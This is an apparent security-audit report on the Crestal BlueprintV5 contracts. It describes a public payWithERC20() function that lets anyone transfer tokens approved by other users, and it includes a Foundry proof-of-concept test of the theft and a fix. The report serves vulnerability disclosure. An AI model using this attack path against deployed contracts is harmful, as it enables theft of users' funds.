Active Cloth Tortoise

High

# Any attacker can steal tokens from users that approve the BlueprintV5 as a spender

### Summary

The `payWithERC20()` is public, and the caller has control over the `from` and `to` input addresses. 

Users need to approve the BlueprintV5 as a spender of payment tokens before using functions that require a payment (`userTopUp()`, `createAgentWithToken()`, `updateWorkerDeploymentConfigCommon()`, and more). 

Between the moment the user approves and the moment when the user calls one of the spending functions above, any attacker can call `payWithERC20()` and steal the approved tokens from the user.

### Root Cause

The function `payWithERC20()` should be marked as `internal`. This function is located in the `src/Payment.sol` contract and inherited by `BlueprintCore`.

https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/Payment.sol#L25

### Internal Pre-conditions

None.

### External Pre-conditions

1. User approves the Blueprint as a spender of payment tokens (required to use other functions in the system). 

### Attack Path

The attacker can simply call  `payWithERC20()` with the following arguments:
  - `erc20TokenAddress`: the approved payment token
  - `amount`: the approved amount
  - `fromAddress`: the address of the user that has approved Blueprint as spender
  - `toAddress`: the address of the attacker 

### Impact

The user loses all of the approved funds to the attacker.

### PoC

The following test can be added to the existing test contract in `test/BlueprintV5.t.sol`:

```solidity
contract BlueprintTest is Test {

    // ... 

    function test_poc_stealApprovedTokens() public {
        address user = makeAddr("user");
        address attacker = makeAddr("attacker");

        // Add the payment address
        blueprint.addPaymentAddress(address(mockToken));
        // Mint tokens to the test account
        uint256 validTokenAmount = 100 * 10 ** 18;
        // the user has some payment tokens
        mockToken.mint(user, validTokenAmount);

        // PRE CONDITIONS
        // the user approves the blueprint contract to spend tokens
        vm.prank(user);
        mockToken.approve(address(blueprint), validTokenAmount);

        // THE ATTACK
        vm.prank(attacker);
        blueprint.payWithERC20(address(mockToken), validTokenAmount, user, attacker);

        // VALIDATION OF FINAL STATE: attacker has stolen all of the approved
        assertEq(mockToken.balanceOf(user), 0);
        assertEq(mockToken.balanceOf(attacker), validTokenAmount);
    }
```


### Mitigation

The `payWithERC20()` should be marked as `internal` 

```diff
-   function payWithERC20(address erc20TokenAddress, uint256 amount, address fromAddress, address toAddress) public {
+   function payWithERC20(address erc20TokenAddress, uint256 amount, address fromAddress, address toAddress) internal {
        // @audit any contract that approves this contract will be exploitable by anyone
        // check from and to address
        require(fromAddress != toAddress, "Cannot transfer to self address");
        require(toAddress != address(0), "Invalid to address");
        require(amount > 0, "Amount must be greater than 0");
        IERC20 token = IERC20(erc20TokenAddress);
        token.safeTransferFrom(fromAddress, toAddress, amount);
    }
```